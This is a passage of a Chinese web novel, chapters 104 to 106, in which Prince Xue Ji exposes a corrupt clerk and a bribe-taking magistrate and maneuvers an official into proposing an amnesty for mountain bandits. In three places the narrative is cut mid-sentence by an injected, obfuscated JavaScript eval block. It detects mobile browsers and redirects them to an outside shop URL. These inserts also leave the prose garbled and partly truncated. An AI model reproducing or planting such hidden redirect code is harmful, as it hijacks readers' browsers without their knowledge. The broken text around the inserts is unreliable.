“这咱们就不晓得了。”老汉似乎又想起什么值得不寻常,继续说,“我先前听那伙计说,他赚了些钱本想给铺子里更换些新家当,可刚给老板开口,就遭他拒绝,还言说铺子里的东西一样都不许动,不然就让他趁早关门大吉,另谋出处,不稀罕钱、不让招伙计,也不让招来的伙计动那些破旧家具,这不就是不花钱雇个看门小厮么,也不知他这小破铺子有什么宝贝至于让他这么珍视……世上之人真是无奇不有,阿哥你说是不是?” “自然是啊。” 无恩答完老汉的话慢慢敛起嘴角笑意,他回身与王羌曹相视一眼,便晓得他们二人此时心中都已有一个共同的猜测—— 这家铺子虽小,内里想必并不简单。 104. 猜测 王羌曹不会轻功,因而一口甄的消息是由无恩率先带回来的。 薛霁在县衙内堂听他回禀完,搁下手中书册,饶有兴趣说,“两口(吕)贾(假),一口甄(真),这铺名还真是有意思。” “主子说的是,那吕贾一张口阿谀上级,鱼肉百姓,另一张口私通土匪,狼狈为奸,亏他读了那么多年圣贤书,真是虚情假意!两面三刀!有辱斯文!”无恩越说越恨,压着声调低声问,“主子,吕贾始终不肯开口交代与熊黑勾结详情,咱们何时端了他‘积草屯粮’的老巢解解恨?” 薛霁:“鱼儿还未全部落网,不急。” 无恩低头答是时,内堂大门忽然被人在外叩响。 有人求见幽王,为何不听门外值守衙役通报? 真是没规矩! 无恩眉头一拧就要出去训斥,谁知他一拉开房门看见来访者,那眉眼间的怒火就全然消退了,“白知州?” 白向福微微颔首算是与无恩打过招呼。 无恩回头看过主子一眼,得他点头示意后方才侧身抬手请白向福入内。 知道他们有话要谈,无恩知趣的关上门守在堂外。 县衙议事内堂只剩白向福与薛霁两人,他们一个站着一个坐着,目视着彼此,谁都没有开口。 四周安静地甚至能听见堂外巡视衙役的低声交谈,可白向福心中清楚,幽王所在之处便无需担忧密谈内容泄露,于是他撩袍上前一步,朝薛霁‘扑通’跪下。 白向福已近知命之年,此举又没有任何征兆,旁人若见这么一个上了年纪的高官跪在自己面前早讶异慌忙地奔来将他搀扶起来,可薛霁却见怪不怪似的仍靠在椅上,不急不躁问,“您这是做什么?” “兴民城知州白向福御下不严,识人不察,竟放纵手下官吏官兵与虔来山土匪勾结,迫害兴民城百姓数年,实在愧对朝廷栽培、歉疚百姓拥戴,情理不容,罪行难赦,在下自知所犯大错,实应受重罚。然……”白向福伏地埋首,顿了一瞬继续说,“恳请幽王殿下念及在下尽忠职守、多年勤恳,于兴民城大小事务时刻不敢有丝毫懈怠,稍施仁慈,对在下独子白冲手下留情,若获罪行刑后仍有来世,在下愿为幽王殿下鞍前马后,并再报朝廷之恩德。” “白冲于虔来山剿匪一事上连立两功,本王近日还在思索如何撰写奏报文书才能替他向朝廷多讨些嘉奖,却想不起自己到底对白大人独子做过什么没有留情的事,竟惹得您这般忧惧?” “知子莫若父,我那孩儿生性冒失又冲动太过,向来不是能领兵打仗的材料,上回若不是有您在背后筹谋,让他白捡了个大便宜,他们那一行人恐怕还会再次遭受土匪羞辱,白冲这孩子身无大过尚且自大蛮横,跟着您当差万一再立几功,恐怕他张扬的把自己的性命丢了都不知道是怎么回事,我这一生只他一个独苗,还请殿下…放过他吧……” 白向福说的这样直白,薛霁却装傻,“你自谦白冲冒失冲动,本王却说他正直耿介,正是因他在与土匪对战时身先士卒、英勇无畏,州府官兵才能将那帮悍匪震慑住,如白冲这般少年,在哪儿都是人才,况且朝廷下令剿匪,白冲身为兴民城州府军什长,这些本就是他分内之事,本王来此地办差不过是恰好遇上他而已,何谈放不放过呢,白大人此言倒是让本王惶恐。” 幽王这池水太深,白向福不愿让自己的傻儿子去蹚,他已经把话说到这个份上,可幽王一句‘分内之事’就将他逼回原点。 薛霁巧舌如簧,再与他掰扯也是无益,白向福心一横,挺身直言,“若白冲奉命行事我自然无话可说,可庆功宴上殿下您借他手揪出奸细吕贾,将这一功一过全部悬在我父子头顶,我斗胆猜测,您虔来剿匪一行惦记的恐怕并不只是山上那群土匪。” “白大人之心已如明镜。” 薛霁看着自己轻笑,可白向福心里却咯噔一下。 兵部虔来山剿匪一事无成多年,可白冲却在薛霁幕后指引下一举便剿灭其中一队土匪,毛头小子那一战张扬太过、不懂收敛,已经用这份功打了不少人脸,若再传出他当众揪出兴民县衙通匪奸细,不更衬托以往在虔来山无功而返那些人的无能么,到那时枪打出头鸟,白冲必定会成为众矢之的。 白向福深知被朝中那帮官员盯上可不是什么好事,故而绝对不会让自己的孩儿继续跟着薛霁冒险。 他是这么想的,幽王也早知他会这么想,于是才用如此心机拖他父子二人下水,而今白冲已经全身没入水中,就看在岸边的白向福肯不肯捞了。 在州府内堂的猜测成真,白向福跪得笔挺的腰杆忽然一软,一屁股坐到了自己的脚后跟上,他心中暗暗焦灼挣扎许久,终究还是抬起自己恍如失去信仰光芒的双眸,看着薛霁问,“不知幽王殿下想让我做什么?” 鱼儿已经入瓮,薛霁笑道,“白大人真想知道,便请入座后再来详谈,您如此架势,真是让本王这个做晚辈的心中惭愧。” 白向福低头轻轻叹了声气,扶着大腿慢慢站起后,一步一步挪到薛霁身旁的太师椅前。 薛霁对白向福满脸的视死如归无动于衷,边为他斟茶边缓缓道,“映月关一战刚满一年,北漠便重新在边境蠢蠢欲动,慕峰青率军赶赴武江城已过去半月却仍毫无音信,中北百姓人心惶惶,朝廷亦心急如焚,在此关头,白冲与王羌曹先后对本王提及虔来山威虎寨中一位新接任二当家之位的土匪,仅使一把大斧就率众喽啰连夺三寨,一统了虔来,功成后被与府衙官兵作对数次的大当家夺权囚禁,而后威虎寨内乱,齐威虎被杀,那位二当家重又被拥为四寨之主,他二人均言说此人有勇有谋、彪悍非常,若能使其众弃暗投明并收为朝廷所用,既能扩充中北兵力,彰显朝廷拳拳求贤之心,又可安定虔来,从此使兴民城百姓高枕无忧,本王觉得他们此言有理,不知白大人意下如何?” 土匪们虽在虔来山为非作歹多年,但总归还是中北百姓,将他们收入麾下以御外敌或是压在朝廷的五指山下避免侵扰百姓,确实要比剿灭了他们更好,白向福点头赞同,“我亦觉得招安虔来土匪最为稳妥,可此事我又能出什么力呢?” 招安土匪是好事,幽王为何要兜这么大一个圈子,白向福心中不安愈加强烈,果真下一瞬,他听薛霁又道,“招安土匪之事,须得请白大人上书朝廷,曰,为防他们匪性难除,受招而不从令,扰军营而生祸端,须得本王亲往军营以作监军。” 什么? 你个与储君之位失之交臂且对那个位置‘贼心不死’的奸王要亲往军营作监军?若真如你所愿,与你同流的老夫的脊梁骨还不得被天下人戳断! 白向福情急,拍桌而起,斩钉截铁说—— “这绝无可能!” “这绝无可能!” 侍立在梁崇元身旁的内侍刚读完手中奏疏,金銮大殿中就立时响起这声咆哮。 王启跨出所在队列,义愤填膺道,“先皇临终前以口谕立储,幽王本就不服,所幸他身子骨不利落,手中权势又早被先皇一一卸下,故而这些年才没在中北掀起什么波澜,如今朝中不过是暂时腾不出得力人手,不得已才派他去虔来剿匪,可虔来山尚未平定,招安还不知从何说起,幽王便早早窜动白向福奏请招安土匪后派遣监军人选,足见幽王不臣之心已昭然若揭!陛下、梁相,依臣所见,既然虔来山中所有土匪已经合为一家,兴民城州府军又已经摸清了他们老巢所在,不如尽早召回幽王,避免其插手军中事务,臣愿亲往兴民城接手招安事宜!” 这番话所言非虚,毕竟原先要不是立幽王为储君的猜测之声大得传进先皇耳中,幽王也不会因被先皇忌惮而与那殿上那个位置有缘无分。 众人以为幽王这些年拖着自己苟延残喘的病体早无力争权夺利,却没想到他这‘司马昭’的心思还真是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888153|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么多年都没变过。 殿内大臣与自己左右同僚小声议论,不少人都觉得王启提议有理,可人群中有一位仪表堂堂、风姿绰约的男子哈哈大笑两声,而后才略带讥讽的说,“本官记得,举荐幽王与慕将军一同赴兴民城剿匪的就是兵部的王大人,怎么虔来山土匪各占山头的时候王大人不说召幽王回来,自己好亲赴虔来山剿匪……如今见人家已将山上土匪收拾的差不多了,便想去出风头顺便捡个便宜回来,王大人这么会打算盘,上辈子莫不是个账房。” 王启被说中心思,怒极失语,支支吾吾半天才想出反驳之语,“带兵剿匪事务是兵部分内,与你礼部有何干系,许尚书往些时候上朝都默不作声,怎么今日这手却伸得这样长?” 许尧白淡淡说,“诸如得鱼忘筌、兔死狗烹等不合乎礼仪之道,礼部自然要管,再者,本官身为中北官员,本该对中北大小事务事事上心,王尚书嫌本官手伸得太长,莫不是在说,除去兵部事务,你王启惯会事不关己,高高挂起?” “你……” 王启被许尧白怼的面色通红,又见一些同僚看着自己的眼神都变了,连忙低头颔首解释说,“臣并非许尚书口中那般浅薄之人,方才口不择言,实在失礼!还请陛下、梁相还有诸位同僚慎终思忖臣之所言,谨防幽王与军中人相勾结,不然,恐怕悔之晚矣啊。” 梁崇元闻言轻轻点头,转眼又像是想起什么似的,问,“冬季各地征兵之日渐近,白知州也有意招安虔来山土匪,若真如他所言,那些恣意土匪匪性难除,受招而不从令,在军中生出祸端,不正趁了虎视眈眈盯着我中北各军的外敌之意,监军人选确实不可不慎之再慎,不知诸位心中可有合适人选?” 白向福上疏中说,虔来山中有一新落草的土匪颇有才能,若能招安其众,既能扩充中北兵力,又可安定虔来,实乃两全之策,但此人生性凶狠狡猾,虽材勇过人,却无人能保他部从军后甘愿俯首听命,故而要想真正能用上这批人,须得选出一位有才干者管理震慑他们不可,白向福觉得幽王薛霁不错,但要是大家不满意,也可另选他人,此事重大,宜于下发招安文书后谨慎议之…… 这意思就是说,边境近日又开始不太平了,正好虔来山那帮土匪是些可用之才,只不过呢,可用之才里也有蠹虫,必须选个皮厚血多能抗住事的人将其费心费力挑拣出来,能挑出来就天下太平,挑不出来就得承担责任,总之,这个烂摊子须得朝廷派一个人接手。以免朝中同僚为难,他白向福首先提议了一个人(可能是被逼无奈才提议的人),你们觉得合适那就是他,觉得不合适就重新再选,反正话就说到这里,招安土匪后他还忙得很,大家可以慢慢商议云云。 征兵年年有,可并不是年年都征烧杀抢掠、为非作歹的土匪,今年举荐监军人选不是什么好差事,稍不留神就要惹人埋怨。 梁崇元问完,殿内百官静默许久,他看出这些老狐狸既不想去,也不想举荐得罪别人,默默叹了口气,才说,“白知州言语间并不急于知晓监军人选,那此事便以后再议罢,眼下还是以招安虔来山土匪诸事为要。” 百官齐声答是后,梁崇元又道,“吏部尽快发出招安文书,兵部即日起筹备招安与兴民城征兵事宜,户部须随兵部赶赴兴民城清点虔来山土匪掳掠赃物及核验各应招土匪落草前户籍身份……” 被点中的吏、兵、户三部主事官员纷纷出列领旨,梁崇元正欲在同他们交代几句话时,余光见一信使不待传报就急匆匆挥着免传令牌直奔他来。 那信使跑来在梁崇元耳边不知低语一句什么,众人就见梁相神色顷刻大变,而后竟倏地站了起来。 他手撑着竹拐来回踱步好几个来回,像是终于作出决定似的,抬眼看向刚被点中的吏、兵、户三部主事官员,沉声说—— “事不宜迟,你三人速速安排人手赶赴兴民城筹备招安与征兵事宜!” 105. 万金 王羌曹当众读完吕贾的通匪密信后,郑万金在庆功宴席上眼一闭、牙一咬昏倒在桌底被抬走之后已经抱病躲在府中两日没出门了。 与自己形影不离的书吏是虔来山土匪奸细,要说他这个做县令的对此毫不知情传出去恐怕连鬼都不信。 可天地良心,他郑万金确实没想到那个向来唯唯诺诺,一棍子打不出屁来的吕贾竟真有胆子干这种掉脑袋的买卖。 这两日郑万金白天睡得昏天黑地,夜里却忧愁焦虑的满屋子溜达。 床榻上好的锦丝白棉被褥一片狼藉,桌上的早晚餐食温温凉凉好几回仍旧一口未动,郑万金走累了,也饿了,正想捏起桌上筷子垫垫肚子时,他的视线不由扫视一圈这间奢靡小屋里的光景。 世事无常,前几日他还是兴民城风光无限的郑县令,可眨眼间他这风光的日子就过到了头。 郑万金唉声叹了口气,这气想是太过沉重,竟怼的房门都‘砰砰’作响,他晃了一下神才晓得是外面有人在敲门。 “大晚上的敲什么敲,不知道本官还在病中么!” “回大人,小的有要事禀报。” 心中忧愁,本来就烦,郑万金发泄似的嚷了一句,又听门外是自己亲信衙役的声音,连忙开门拉他进来。 “何事?” “大人,属下昨日巡守时,瞧见白冲在州府军中四处与人攀扯嬉笑、称兄道弟,而后又见白知州兀自进议事内堂与幽王详谈了好几个时辰,期间,属下还见白知州开门递出一封奏折交于无恩加急送出,属下当时觉得蹊跷但实在打听不到他们的谈话内容,不过……直至今日属下忽然听军中有人传言‘上面要招安虔来山土匪’,无风不起浪,这想必就是白知州与幽王商谈之事,大人,若真要招安土匪,那这便到兴民县衙出力的时候了,咱们如果能在这差事上立上一功,您近几日所忧虑之事定然能够迎刃而解啊!” 招安? 郑万金心虚地看了一眼面露喜色的衙役,暗想:幸好庆功宴那日吕贾只在王羌曹、白冲、无恩还有他自己面前暴露,幽王又命暗卫秘密将他抓捕,因而吕贾是土匪奸细一事并未传扬开来。 此时看这衙役神情,郑万金明白事情虽已经过去几日,但是兴民县衙有内鬼的消息仍被幽王死死压着,可他奉命来兴民城剿匪,查出官匪勾结这事为何不兴师问罪,反而如此不声不响的为他们遮掩呢? 郑万金轱辘着眼珠子默默咀嚼着‘招安’二字。 兴民县衙中有土匪奸细之事如若传出,朝廷、百姓定然不容许这帮奸诈狡猾的土匪囫囵个的从虔来山下来,可这事被人压住了…… 莫非…… 是幽王想招安土匪? 为官多年,郑万金深知这世上只有无欲无求的人最难对付,而只要有所求,皆是俗人一个,总有能拉拢或是离间的法子。 幽王既然想招安虔来山土匪,那么他一定会牢牢捂住奸细吕贾及知晓此事之人的嘴。 再说白向福已经出面与幽王斡旋,天塌下来自然有他们那些皇亲和大官的脑袋顶着,旁的琐事大约也跟他一个小小县令没什么太大干系。 思及至此,郑万金霎那间如释重负。 衙役见郑万金心情大好,以为是自己报信有功,他高兴地正要开口讨赏时,门外再次响起两声叩门—— “报!郑县令,白知州请您速速赶赴县衙禁所。” 兴民县衙所有轻重嫌犯均被关押在牢狱监房看管,而禁所位置阴暗偏僻,平日只用来放置物证刑具,鲜少有人进去。 没想到幽王竟将吕贾关在这里。 白向福被暗卫请进禁所,沿路寻到内室才发现,这里面除了被蒙着眼睛绑起来的吕贾,就只有幽王与无恩在内。 禁所中没有窗户,只靠墙壁几个排气小孔通风,再加上周围燃着的照明火把,让人光是行走其中都觉得喘不过气,他微微皱眉,揉了揉自己因为室内潮湿而有些发痒的鼻翼后抬眼望向前方那个长身玉立、威严堂皇的身影,不禁感叹,幽王立于如此腌臜之地依然舒展端庄,倒不像外头传的那般娇生惯养。 看到白向福过来,无恩无声与他抱拳行礼,白向福颔首受下后立在幽王身侧听他向吕贾问话。 “你的母亲身患重疾已久,多亏你花重金求医购药吊着她的性命,身为人子,你确实担得起一个孝字,但你一个县衙书吏每月薪俸勉强足够家中日常开销,只做清白书吏怕是早就开始为她守孝了,而你母亲之所以能活到现在,大概是因为半年前,你于机缘巧合之下结识了黑鹰岭土匪熊黑,你答应向他定期提供兴民城男子出城时辰表,他则许诺并按期结算给你相应报酬,这期间,熊黑掳掠农户小贩屡屡得手,为杀鸡儆猴他残害了十数不愿与土匪狼狈为奸的平民好汉,吕贾,你为给自己母亲续命,可曾有一瞬想过那些孩儿平白被土匪掳去并杀害的母亲死活?” 薛霁语气平淡,好似只是在陈述一件再寻常不过的事,白向福顺着他的视线看向被蒙眼绑着可通体清爽并不像受过重刑模样的吕贾,又奇怪要是没有受过折磨,他那惨白的唇色和有气无力的声音又是怎么回事? “天下无时无刻不在死人,老天爷管过谁的死活,中北向来是朱门酒肉臭,路有冻死骨,可皇帝还有那些狗官又管过谁的死活。”吕贾低头闷闷咳嗽两声,毫不在意说,“我不过一介布衣,只管得了自己的母亲,其他人的死活与我实在没有什么干系……” “你可知熊黑是南夷人。” 薛霁打断吕贾,说出这个让白向福与吕贾同时为之一颤的消息。 “南夷自半年前起便频繁滋扰边境,其中有少数人趁乱混进中北,这些人没有户籍于是便上虔来山做了土匪,他们寻你合作惦记的从来不是山中过往商队与各家财主。”他二人瞠目结舌,可薛霁视若无睹,继续道,“你的妻子已有身孕,若不巧本王今日没有将你擒住,又不巧虔来山匪患至今仍未被根除,你有多大把握敢说自己的孩儿与妻子将来不会重蹈了那些被南夷假土匪残害了的汉子们的覆辙?” 吕贾闻言,愣住一瞬后身忽然颤抖起来,他张了张嘴终究没有说出话来。 薛霁:“旁人的死活确实与你无关,可你对兴民城百姓乃至整个中北犯下的罪孽,绝不可能使你的家人后代置身事外。” “不知……小人不知熊黑是南夷人!小人那时出城公干,无意间救下几个重伤汉子,他们那时只说自己犯了事想要上山落草为寇、一统虔来,做个草莽英雄,其中熊黑曾许诺,若我能依他令行事,就将掳掠所得分一半给我,兴民城县衙中也有些衙役靠向土匪们通风报信挣些外快,因而小人也硬着头皮应下了。” “他起先只定期要出入城登记簿,后来小人才知晓他是根据那簿子掳人,等黑鹰岭那帮土匪掳人闹出性命后,小人亦不想干这害人的买卖,可没想到家中老母忽然病发,小人走投无路、求助无门,而他们又实在给的太多了,所以小人只能…只能……”吕贾挣扎着咆哮呼喊,“小人一人罪过一人担,还请幽王殿下饶过小人的妻子孩子……” 吕贾痛哭流涕,薛霁只问,“他们?他们是谁?” “他们一共四人,为首的是熊黑,其余三人叫什么不清楚,小人只记得一个姓马,一个胖子还有一个瘦子。” 熊黑、马皓、胖冬还有瘦猴。 潘闯先前来信说,此四人均已直接或间接死于初暒手中。 这就是说虔来山土匪中再无其他南夷奸细了。 真是省去不少麻烦。 薛霁看了无恩一眼,转过身缓缓往外走,白向福眼瞅着无恩在蒙着眼的吕贾脖子上拧了一下,方才还在咆哮哭喊的人转瞬就不再吭声,他默默吞了吞口水,而后小跑着跟在薛霁身后。 “殿…殿下,虔来山土匪中混有南夷奸细,此事用不用尽快报给朝廷?” 薛霁嗤笑一声,“安南县衙混入北漠人朝廷至今都视若罔闻,你这里出现几个南夷奸细有什么好呈报的。” “啊?” 这这这…… 白向福懵了,中北这是要开染坊了么,怎么谁都能混进来给他们点颜色瞧呢…… 看他一副心如死灰的模样,薛霁又说,“兴民县衙中有虔来山土匪奸细,虔来山土匪中亦有本王的人,吕贾口中那四个南夷人已经死了,白大人无需忧心。” 白向福垂头丧气,“北漠在武江城闹出的动静尚未平息,南夷又在虔来山为非作歹了这么久,那四人死了,可中北内部还不知潜伏着多少外敌,殿下,朝廷真对此视若罔闻,那中北的老百姓该怎么活啊。” 薛霁在禁所门前站定后看向白向福,沉吟片刻才道,“风云起落不须惊,行事如常心自明,中北广阔,无能者亦众,但只要白大人能守住中北一城之土地,便能护住中北一方百姓之平安。” 没想到能从他口中听到这样的话,白向福心中一动,立时颔首拱手,说,“幽王指教,我记下了。” 见幽王与白向福从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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生怕是自己眼花看错,郑万金瞠目结舌的跌撞走进一口甄。 满墙的金砖堆叠在壁龛中。 难怪食客都说这铺子小,三面墙壁里都是一层金砖外又糊了一层黄泥砖,能不小么…… 郑万金亲昵的抚摸过沾染着黄泥的金砖,忘我呢喃,“我郑万金叫万金多年,可直至今日才晓得什么是万金,吕贾装穷,我过去竟还以为他是真穷……” 王羌曹从怀中取出一本书册后走向薛霁,路过郑万金时鄙夷看了他一眼后,才故意高声道,“殿下,属下查封此地时还发现了吕贾为行贿受贿所作账册,您请过目。” 账册?! 这两个字如同晴天霹雳一般砸在郑万金脑门,手里的黄金好似失去了它原本的魅力,郑万金收回手慌不择路的从一口甄跑出来。 他看着薛霁手中的账册,要也不是,抢也不是,急的满头大汗。 薛霁见他如此模样,笑问,“郑县令怎么这副神情,莫非……这账册里面还有您什么事?” 吕贾在郑万金手下当差,他贪的那些小九九吕贾一清二楚,郑万金原本以为只要拖吕贾下水,两人就是一条绳上的蚂蚱,却怎么也没想到吕贾这厮竟还有记账的陋习! 郑万金不晓得吕贾在账本上记了什么,只知道这东西落在幽王手中自己大概是凶多吉少,他满含热泪扑通向薛霁跪下,伏地哽咽道,“下官曾着吕贾教唆,于内贪污县衙公费,于外收受刁民贿赂,下官自知此举不可为,因而日日身陷对朝廷的愧疚之中,求幽王殿下看在下官诚心悔过的份上手下留情,下官定当痛改前非,恪尽职守,以报朝廷之恩德!” “这册子本王尚未打开,郑县令此举也算是投案自告……”薛霁佯作深思后,说,“既如此,那便罚你将这些年所有受贿全数交出,若你交出数额与这账册上数额一致,本王恕你无罪,可要是对不上,刽子手的虎头铡本王也会尽早为你备着。” 郑万金连忙叩首,“是是是。” “此事还有这一口甄里的东西就请白大人多多费心了。”薛霁随手将账册交给白向福后,头也不回地上了马车。 白向福目送马车驶离才低头翻看手中账册,越翻脸上的阴翳就越深,郑万金瞥眼偷看他脸色,心中一跳,暗叫一声—— 完了。 人还能活,可是前半辈子攒的钱…… 完了。 106. 筹备 薛霁将吕贾藏匿赃款的点心铺交予白向福善后,于是白向福便命亲兵连夜将垒落在一口甄三面墙壁里的金砖银器统统抬进了自己的私宅。 另一头,主动向薛霁自告的郑万金也没有闲着,他领了罚,匆匆别过白向福后就连爬带滚的赶回自家库房取钱,一大早便带着几个信得过的手下直奔知州府。 白向福熬了一个通宵刚进州府门,还没来得及洗漱更衣就见郑万金将三只大木箱子齐齐摆在自己面前,他伏地叩了一首,才道,“白大人,下官惭愧,这些便是受吕贾蛊惑收受的贿银,您请过目清点。” 郑万金说完,低头向跪在自己身后的手下挤了挤眼睛,那手下也是个惯会看人眼色的,得令后立即低眉顺眼的起身挨个将木箱打开。 木箱盖一经掀起,无数金银珠宝、古董摆件终于重见了天日,郑万金抬眼偷偷去看座上白向福的脸色,却见白向福正冷着脸、面色铁青的瞪着他,好似只要敢说错一句话,他就能立时将自己吃了似的。 郑万金心虚地左右煽动着眼珠子时,余光又见白向福的右手搭在桌子边沿,手下压着的正是那本能要他命的账簿册子。 白向福不接话,周围也安静的可怕,郑万金看他这架势就明白自己已经露馅。 他今日带来的东西估计还不足那账册上的一半,可连数都不数就知道自己没交够,白向福还真是火眼金睛。 默默吞了吞口水,郑万金又叩了一首,说,“白…白大人,这几箱只是其中一部分,还有一些贿银下官……还在家中归置整理,今日一定全部交予您处置,那您先忙着,下官……下官这就回去尽快收拾……” 郑万金说完,起身招呼着手下扭头就走,白向福见他一溜烟就不见了踪影,叹了口气后,道,“来人,将这些东西抬走。” “大人,是入州府公库吗?” 白向福看向自己手边那本账簿,冷声道,“不,仍旧送回本官私宅。” “是。” 目送亲兵将郑万金送来的贿银一箱箱抬走,白向福拄着太师椅扶手捏了捏自己的眉心寥解疲乏。 幽王来兴民城办差不过半月,就将在兴民县衙内扎根已久的奸细蛀虫一扫而光,还一夜之间收拾完吕贾,敲打了郑万金,平白无故又让他这个穷鬼体会了一把一夜暴富的滋味。 白向福早知幽王心机深沉,不是简单的人物,因而自从幽王来兴民城办差,他常常借口公务繁忙无暇招待,唯恐避之不及,却没想到自己千小心、万留意,还是入了幽王的局,做了他棋盘上的一枚棋子。 不过…… 白向福转念想起一口甄里的三面金砖墙与手边这本拿捏了郑万金的账簿册子,又忽然觉得,攀上幽王似乎也并非全是坏事,毕竟这年头,再不可能有第二个人会撵上门来给他白向福送钱。 心里总算舒服一些,白向福打了个呵欠后就近在州府里找了间屋子补觉。 当日下午,郑万金又吭哧吭哧扛了三个木箱过来,可白向福连门都没出就让他放下箱子回去,郑万金哭丧着脸的一边心疼跺脚,一边认命的继续回去东翻西找。 这么折腾过郑万金几回后,白向福也歇够了,他神清气爽的差人将郑万金送来的一个木箱抬走,刚准备去翻看吕贾的账簿册子时,就听郑万金顶着黑眼眶,胡子拉碴的抽泣说,“白大人,耗子进下官府中都得饿的哭着走了,下官已经将自己的家底全部掏空给您了,求您网开一面,给下官一条生路吧……” 瞧郑万金哭得凄惨不似作假,白向福也有些于心不忍,他没有再看账簿,只苦口婆心与他说,“念在你我同僚一场,此事就此揭过,稍后我便去寻幽王阐明此事,你不必太过担心,快快请起罢……” 郑万金低头答是,他谢过白向福后正撇着嘴委委屈屈起身时,门外忽的传来一阵急促地脚步声,郑万金回首看去才瞧见来者是州府外的值守小兵。 “大人,吏、兵、户三部官员携朝廷招安虔来山土匪令已至兴民城了,他们此时就在州府门外候着。” 怎的这么快就来了? 白向福来不及多想,扣上官帽就赶忙出门去迎,郑万金抹了一把自己困倦的都有些睁不开的眼睛,也紧跟着他往外走。 两日前,兵部便发出了中北冬季征兵告示。 在这期间,武江城遭北漠屠杀掳掠的消息渐渐传播开来,无数有志青壮年惊诧那群在映月关一战中被打的如同丧家犬一样落荒而逃的漠匪竟然还敢在中北边境张狂,于是纷纷在痛心愤慨之中决计义无反顾的投身从戎,因而在征兵初期,各城各地自愿应征入伍的男子人数就已经超过往年。 兴民城府衙上下近日虽一直致力于虔来山剿匪事宜,但自从白向福知晓幽王有意招安土匪后,便迅疾将手下所有官员分成了两方,吩咐其中一方负责兴民城冬季征兵,而另一方则提前筹备虔来山土匪招安诸事,故而两件迫在眉睫的公务均得以在白向福手下有条不紊的顺利开展。 正是因为有他如此安排,入兴民城办差的吏、兵、户三部官员很快便上手各自公务。 吏部官员率众衙役分别于城中各坊市宣读、张贴完招安文书,兵部传送文书的信使也恰好从虔来山回来,户部的柳思无趁着还没到他忙的时候,先拜见了抱病静养的幽王,后又迎回从晁都出发前就借调来的兴民城及周边大小城池的百姓户籍名册。 满满装了四大驴车的户籍名册像四座小山一样缓缓停在州府门口,户部几位官员抱手站在门边,心如死灰的看着小厮们来来回回的将车上装着户籍的木箱往里抬。 同僚们冷眼旁观,柳思无却毫不在意,他撸起袖子与小厮们打完下手,又兀自整理了两日才将那些小山似的书册理出眉目。 自兵部官员接手兴民城征兵与招安诸事后,被借调来的王羌曹就得了个清闲,他坐不住又不想再看白冲冷眼,于是趁着白向福与吏、兵、户三户主事官员议事之际言说各地冬季征兵已如火如荼,安南县衙眼下正是缺人手的时候,自己在此处又实在帮不上什么忙,倒不如尽早调他回安南县衙出一份力。 白向福知晓王羌曹想回去多半是因为给幽王办差时与白冲闹了些不愉快,而白冲那小子什么心思都写在脸上,这几日怕是给他看了不少冷脸。 念及王羌曹确实是个人才,这些日子又为兴民城出过不少力,于是白向福先与在场同僚解释借调此人缘由与其剿匪功绩,而后才安抚王羌曹说,这些时日辛苦,待顺利招安虔来山土匪,还兴民城百姓安定后,他定会向朝廷上书言明王县尉功劳,现今正是征兵时期,安南县衙想必确实也是忙的不可开交,既然王县尉有心与庹县令分忧,他答应王县尉尽早回去复命云云…… 得白知州准许,王羌曹说走就走,他拜别幽王后当天夜里便背上自己的包袱悄悄出了兴民县衙。 城门夜里恰逢兵部官兵值守,他们不认得王羌曹所以死活不肯给他开城门放行,直到轮班换岗过来几个兴民城州府军,王羌曹才能够顺利出城。 夏天时,他在慕峰青麾下风风光光的从晁都城外奔赴到兴民城,可是几个月之后的冬日,他孤身冷冷清清行走在寒夜之中,只有头顶一轮明月随行。 “唉……本以为此行能跟着慕峰青大干一场,却没想到莫名其妙投身到幽王门下,世事还真是无常……” 王羌曹闲来自语,又想起方才拜别幽王时,听他对自己说,“王县尉为人机敏,行事稳重,担任安南县衙县尉一职属实大材小用,而今本王有一差事,王县尉如果有兴趣尽可放手去做,若他日事成,本王定不会亏待于你。” 诸如画饼充饥、望梅止渴之类的把戏,王羌曹早见上官用的都不爱用了,可这话一从幽王口中说出,他就立即鬼使神差的答应了。 可能是讶异他不露声色的连根拔起兴民县衙通匪衙役,可能是震惊他利用白冲好斗脾性一举揪出蛰伏极深的奸细吕贾和敲打贪官郑万金的本事,也可能是惧怕在他那俊美皮囊之下暗藏的深沉机谋又或是其他可怕手段。 不过…… 无论是因为什么,他王羌曹确实决定要为这位中北众所周知对九五之尊‘贼心不死’的幽王殿下当差办事了。 反正名垂青史还是遗臭万年什么的,都与他区区一个小县尉无关。 “王羌曹!” 王羌曹自嘲笑笑,将挎在手臂的包袱甩到肩膀时突然听身后有人正高声呼唤自己,他有些纳闷,随即顿住脚步回首张望。 冬日午夜,月明星稀。 月光映照在兴民城外的荒芜野地,就像是被人撒了一层白花花的糖霜,借着这光亮,王羌曹看见策马向他奔驰而来的竟是白冲。 “吁——” 在距离王羌曹一丈远处,白冲离镫下马,他扯着缰绳怒气冲冲走到王羌曹面前,斥责道,“方才要不是守城小兵与我报信,我还不知道你已经被调离兴民城了!你我共事这么久,我将你当大哥、当兄弟,你倒好,要走拍拍屁股就走,居然连声招呼都不肯和我打!” 王羌曹解释说,“我替幽王办差,利用你当众将吕贾揪出,你心里有气,也不想与我说话,我不愿给你找不痛快这才不打招呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 